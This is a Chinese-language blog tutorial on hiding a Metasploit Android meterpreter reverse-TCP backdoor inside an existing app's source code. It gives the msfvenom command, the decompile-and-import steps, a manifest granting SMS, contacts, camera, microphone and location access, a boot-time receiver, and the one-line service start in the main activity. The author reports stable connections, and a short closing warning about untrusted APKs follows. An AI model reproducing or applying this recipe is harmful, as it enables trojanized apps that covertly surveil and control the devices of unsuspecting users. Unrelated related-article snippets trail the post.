添加Metasploit-payload到已有的Android项目中
metasploit在写这篇文章之前,笔者可以说是对java一窍不通,也从来没有写过什么Android应用,在几天的摸爬滚打中终于实现了最终的目的,就是在已有Apk源码的情况下,用了比较另类的方式,添加metasploit后门。
同时支持java/scala两种语言写的项目,主要是为了给大家提供一些思路,如果哪里写的不准确,欢迎指正。
可能有人说,目前已经有各种各样的工具,比如backdoor-apk能够感染已编译好的Apk文件,但是经过笔者的测试,这种被感染后的文件使用起来不是很稳定,而且apktool本身有缺陷,导致很多apk反编译后无法重新编译。所以,既然有源码,为何要生成apk后再注入后门?
payload分析
首先使用msfvenom生成一个payload:
msfvenom -p android/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 R > payload.apk
使用apktool与dex2jar反编译:
apktool d payload.apk
d2j-dex2jar payload.apk
最后用jd-gui打开d2j-dex2jar生成出的payload-dex2jar.jar

结合AndroidManifest.xml分析源码后发现,Payload的服务为com.metasploit.stage.MainService,启动服务的方式有两种,一个是主Activity(android.intent.action.MAIN),也就是点击程序图标后运行的Activity,另一个是接收android.intent.action.BOOT_COMPLETED,也就是开机自动启动服务。


启动服务的代码为
MainService.startService(context);
也就是说,只要把启动服务的代码添加到项目源码中的相应位置,就可以实现添加后门。
笔者首先想将反编译后的java源码直接添加到项目中,但无奈编译不成功,在网上查找相关资料后发现,jd-gui反编译的jar文件本身就有问题,只能做参考。
如果直接用github上payload的源码,又不知道Payload的配置串是如何加密的。
最后突然想到,既然dex2jar已经将payload转换为了jar文件,那直接将jar作为依赖包导入到工程中不就行了。
导入jar包
Android Studio
拷贝payload-dex2jar.jar到app/libs目录下
打开app目录下的build.gradle,在dependencies中添加compile files(‘libs/payload-dex2jar.jar‘)
Sbt/scala
拷贝payload-dex2jar.jar到lib目录下下
修改AndroidManifest.xml
选择性添加添加以下权限
可以根据需要,选择性的添加所需要的权限
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
<uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.SEND_SMS" />
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.RECORD_AUDIO" />
<uses-permission android:name="android.permission.CALL_PHONE" />
<uses-permission android:name="android.permission.READ_CONTACTS" />
<uses-permission android:name="android.permission.WRITE_CONTACTS" />
<uses-permission android:name="android.permission.RECORD_AUDIO" />
<uses-permission android:name="android.permission.WRITE_SETTINGS" />
<uses-permission android:name="android.permission.CAMERA" />
<uses-permission android:name="android.permission.READ_SMS" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
<uses-permission android:name="android.permission.SET_WALLPAPER" />
<uses-permission android:name="android.permission.READ_CALL_LOG"/>
<uses-permission android:name="android.permission.WRITE_CALL_LOG"/>
<uses-permission android:name="android.permission.WAKE_LOCK" />
<uses-feature android:name="android.hardware.camera" />
<uses-feature android:name="android.hardware.camera.autofocus" />
<uses-feature android:name="android.hardware.microphone" />
添加服务
<service android:name="com.metasploit.stage.MainService" android:exported="true" />
添加开机启动
如果需要添加开机启动,则必须添加android.permission.RECEIVE_BOOT_COMPLETED权限。
<receiver
android:name="com.metasploit.stage.MainBroadcastReceiver"
android:label="MainBroadcastReceiver">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED" />
</intent-filter>
</receiver>
修改源码,启动服务
java与scala相同,定位到Main Activity所在的文件中,添加import
import com.metasploit.stage.MainService;
在Activity的onCreate方法中,添加
MainService.startService(this);


编译、签名、测试
编译与签名的环节就略过了,最终的测试结果非常满意,无论是打开程序运行与开机自动运行都成功,并且连接很稳定

后记
通过导入jar包的方式添加后门也算是另类的方式了吧,不过也算很方便了,jar包只要生成一次,就可以当做一个依赖包添加到所有Android项目中。当然一定还有更好的方法,本文只是提供一个思路。
同时提醒大家留意来路不明的Apk文件,防止被安装后门,信息安全不容小视。
添加Metasploit-payload到已有的Android项目中的更多相关文章
- 打开已存在 Android项目及常见的问题
Eclipse 打开已存在 Android项目及常见的问题 1. 点击菜单“File”-- "Import",会弹出 Import 对话框: 2, 选择“General ...
- eclipse无法导入已有android项目
问题: 今天发现我拷贝的一个android项目无法导入到eclipse,但是其它的已有android项目却可以导入 思路 现在网络这么流行,当然是上网查,得益于eclipse无法导入Android工程 ...
- 关于如何正确地在android项目中添加第三方jar包
在android项目中添加第三方jar包虽然不是一个很复杂的问题,但是确实给很多开发者带来了不小的困扰.我自己就曾经碰到过calss not found exception.error inflati ...
- android项目中如何加载已有so库 <转>
1,在项目根目录下建立文件夹libs/armeabi文件夹 2,将so库放入 libs/armeabi文件夹 注意事项: 1,如果采用静态注册的方式请注意C文件中严格按照命名规则 Java_packa ...
- 在已有 Xcode 项目中 加入Cordova框架
转自:http://www.jianshu.com/p/656838ae92bc 我们知道,在UIKit中的UIWebView虽然已经提供了很多功能了,比如JavaScript和Objc之间的通信.但 ...
- Android项目中如何用好构建神器Gradle?(转)
最近在忙团队并行开发的事情,主要是将各个团队的代码分库,一方面可以降低耦合,为后面模块插件化做铺垫,另一方面采用二进制编译,可以加快编译速度.分库遇到了一些问题,很多都要通过Gradle脚本解决,所以 ...
- Android项目中JNI技术生成并调用.so动态库实现详解
生成 jni方式有两种:一种是通过SWIG从C++代码生成过度的java代码:另一种是通过javah的方式从java代码自动生成过度的C++代码.两种方式下的步骤流程正好相反. 第一种方式:由于需要配 ...
- android项目中配置NDK自动编译生成so文件
1 下载ndk开发包 2 在android 项目中配置编译器(以HelloJni项目为例) 2.1 创建builer (a)Project->Properties->Builder ...
- Android 项目中文件夹的说明与作用(转)
(转自:http://blog.csdn.net/goodshot/article/details/11529731) Android 项目中文件夹的作用 1. src:存放所有的*.java源程序. ...
随机推荐
- keystone无法查看catalog并且用户无法申请令牌的解决方案
在运行openstack catalog list之后提示: Only an authorized user may issue a new token. #只有授权用户才能申请token opens ...
- web与request
request --> 封装了客户端所有的请求数据! 请求行 请求头 空行 请求体(GET没体) 回忆一下http协议!请求协议中的数 ...
- 大数据时代日志分析平台ELK的搭建
A,首先说说ELK是啥, ELK是ElasticSearch . Logstash 和 Kiabana 三个开源工具组成.Logstash是数据源,ElasticSearch是分析数据的,Kiaba ...
- SearchBar简单展示
import UIKit class SearchViewController: UIViewController,UISearchBarDelegate { let SCREEN_WIDTH = U ...
- poptest老李谈分布式与集群 2
集群分类 Linux集群主要分成三大类( 高可用集群, 负载均衡集群,科学计算集群) 高可用集群( High Availability Cluster)负载均衡集群(Load Balance Clus ...
- 老李分享:HTTP协议之请求和响应
老李分享:HTTP协议之请求和响应 HTTP请求头详解: GET http://www.foo.com/ HTTP/1.1 GET是请求方式,请求方式有GET/POST http://www.fo ...
- Selenium 2.0与Selenum 3.0介绍
什么是Selenium Selenium是一组web自动化测试工具集,它由以下几个部分构成: Selenium IDE(Integrated Development Environment)这是Fir ...
- Android™ 1.5 android.R.drawable Icon Resources
图标一览表: http://www.darshancomputing.com/android/1.5-drawables.html 官 方 API: http://developer.androi ...
- C#中的ArrayList
ArrayList非常类似于数组,也有人称它为数组列表,ArrayList可以动态维护 提示: 和数组相似,ArrayList中存储的数据称为元素,ArrayList可以保存的元素数就是ArrayLi ...
- 雷达的L、S、C、X波段是什么
L.S.C.X都是电磁波波段的划分代号. 最早用于搜索雷达的电磁波波长度为23cm,这一波段被定义为L波段(英语Long的字头),后来这一波段的中心波长度变为22cm. 当波长为10cm的电磁波被使用 ...
